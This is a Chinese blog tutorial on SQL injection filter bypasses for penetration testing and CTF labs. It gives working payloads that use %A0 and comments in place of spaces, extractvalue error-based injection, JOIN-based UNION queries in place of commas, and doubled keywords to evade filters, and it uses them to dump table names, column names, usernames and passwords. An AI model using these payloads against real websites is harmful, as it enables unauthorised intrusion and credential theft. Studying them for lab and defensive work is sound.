当前位置: 首页 > wzjs >正文

sq网站推广东莞百度seo在哪里

sq网站推广,东莞百度seo在哪里,app制作网站有哪些,适合初学者做的网站大家好,今天想和大家分享一些实用的技巧,专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时,如何巧妙地进行绕过,让我们的SQL注入成功执行。 一、空格过滤绕过技巧 当目标网站或…

大家好,今天想和大家分享一些实用的技巧,专门针对渗透测试或CTF比赛中可能遇到的特殊字符过滤问题。这篇文章主要讲解当遇到空格和逗号过滤时,如何巧妙地进行绕过,让我们的SQL注入成功执行。

一、空格过滤绕过技巧

当目标网站或靶场环境中过滤了空格字符后,我们可以使用以下几种方式来绕过限制:

  • 使用+号替代空格:例如,union+select+1,2,3
  • URL编码替代:%20(空格)、%09(水平制表符HT)、%0A(换行符LF)、%0C(换页符FF)、%0D(回车CR)、%0B(垂直制表符VT)、%A0(不间断空格NBS)。
  • 使用SQL注释符/**/替代空格,如:union/**/select
  • 括号()替代空格:select(database())
  • 使用报错注入技巧绕过限制。

实战案例

%A0为例(此方法适用于Linux环境):

?id=-1'%A0union%A0select%A01,database(),3%A0anandd%A0'1'='1

再举一个利用报错注入的案例:

?id=1'||extractvalue(1,concat('^',(database())))||'1'='1

其中,extractvalue() 函数配合concat()可引发报错,帮助我们绕过字符过滤并获取数据。尤其注意到在过滤了or的情况下,我们还可以通过对关键字进行复写(如将information_schema改为infoorrmation_schema)来绕过过滤。

二、逗号过滤绕过技巧

当逗号被过滤掉时,我们可使用join关键字进行绕过,巧妙利用SQL的表连接特性完成查询。

常规逗号查询方式

select u.*,e.* from users u, emails e where u.id=e.id;

  • • u.*e.*表示:u表中的所有的列和e表中所有的列

  • • users uemails e表示:users表的别名为u表;emails表的别名为e

  • • u.id=e.id表示:两张表相同的字段进行关联

使用join内联进行绕过

select u.*,e.* from users u join emails e on u.id=e.id;

  • • u.*e.*表示:u表中的所有的列和e表中所有的列

  • • users uemails e表示:users表的别名为u表;emails表的别名为e

  • • join users on emails表示:将users表和emails表进行内联,on用于条件限定

实战案例

原本的逗号查询:

select * from users where id = 1 union select 1,2,3;

join代替后的语句为:

select * from users where id = 1
union
select * from (select 1)a join(select 2)b join(select 3)c;

具体含义:

  • (select 1)a:别名为a
  • (select 2)b:别名为b,使用join连接a
  • (select 3)c:别名为c,同理连接

实操演示

当靶场环境明确过滤逗号时,可如此绕过:

查询当前数据库名:

?id=-1' union select * from (select 1)a join(select database())b join(select 3)c --+

查询表名(注意绕过过滤的关键字复写技巧):

?id=-1' union select * from (select 1)a
join(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=(select database()))b
join(select 3)c --+

查询列名:

?id=-1' union select * from (select 1)a
join(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=(select database()) anandd table_name = 'users')b
join(select 3)c --+

 

查询用户信息(用户名与密码):

# 查询用户名
?id=-1' union select * from (select 1)a
join(select group_concat(username) from users)b
join(select 3)c --+# 查询密码
?id=-1' union select * from (select 1)a
join(select group_concat(passwoorrd) from users)b
join(select 3)c --+

 


三、小结

以上技巧的掌握,在日常渗透测试以及CTF挑战中都会大有帮助。希望大家通过这篇文章对空格与逗号的过滤绕过技巧有更深入的理解和实践。感谢阅读!


免费备考资料分享(红帽、甲骨文、华为)

为了帮助更多考生高效备考,我根据自己的学习经验,整理了以下几个核心备考资料:

  1. 考试大纲
    覆盖HCIE笔试和实验考试的所有重点知识,帮助你精准掌握考试范围,避免盲目学习。

  2. 培训教材
    详细的理论知识和案例分析,核心技术的深入解析,是夯实基础的不二之选。

  3. 实验手册
    实验考试配置命令速查手册和模拟实验案例集,涵盖关键场景,助你在实验环节高效应对。

获取方式
如果你需要这些备考资料,可以在评论区留言或者私信我,我会将资料打包发给你,希望对你的备考有所帮助!

http://www.dtcms.com/wzjs/279811.html

相关文章:

  • 网站如何做更新企业门户网站
  • 做网站销售好吗济南百度快照推广公司
  • 网站建设 引导惠州seo优化
  • 威海市建设局官方网站国内最好的危机公关公司
  • vue做前台网站搜狗排名优化工具
  • 网站建设ps模板下载站长工具seo综合查询官网
  • 局域网网站建设网页游戏推广平台
  • 专题研究网站建设工作动态个人微信管理系统
  • 模板网站缺点百度网页收录
  • 电子产品东莞网站建设深圳谷歌网络推广公司
  • 公司网站建设推荐乐云seo发布软文广告
  • 老河口网站建设谷歌chrome浏览器官方下载
  • 毕节网站建设兼职什么是网店推广
  • 答题网站开发百度网页链接
  • 关于企业网站建设的相关思考韶关疫情最新消息
  • 企业网站建设的建站前准备外贸网站外链平台
  • 网线制作原理网站搜索排优化怎么做
  • 厦门网站建设哪家好厦门最好的网站建设曼联目前积分榜
  • 昌平建设公司网站阿里指数查询官网入口
  • 云集网站建设公司企业网站网页设计
  • wordpress首页模块排序权限修改网络优化工程师主要负责什么工作
  • 企业建设网站哪家好搜狗收录提交入口网址
  • 网站默认中文字体关键词如何确定
  • wordpress唯美破解主题seo管理
  • 网站规划和建设的步骤深圳seo推广培训
  • 哪个网站可以做测试类网站google搜索优化
  • 新乡做网站的公司有那些aso优化贴吧
  • 公司网站留言板seo优化网站词
  • 翔安区建设网站搜索排名
  • 网站标题怎么做靠谱的seo收费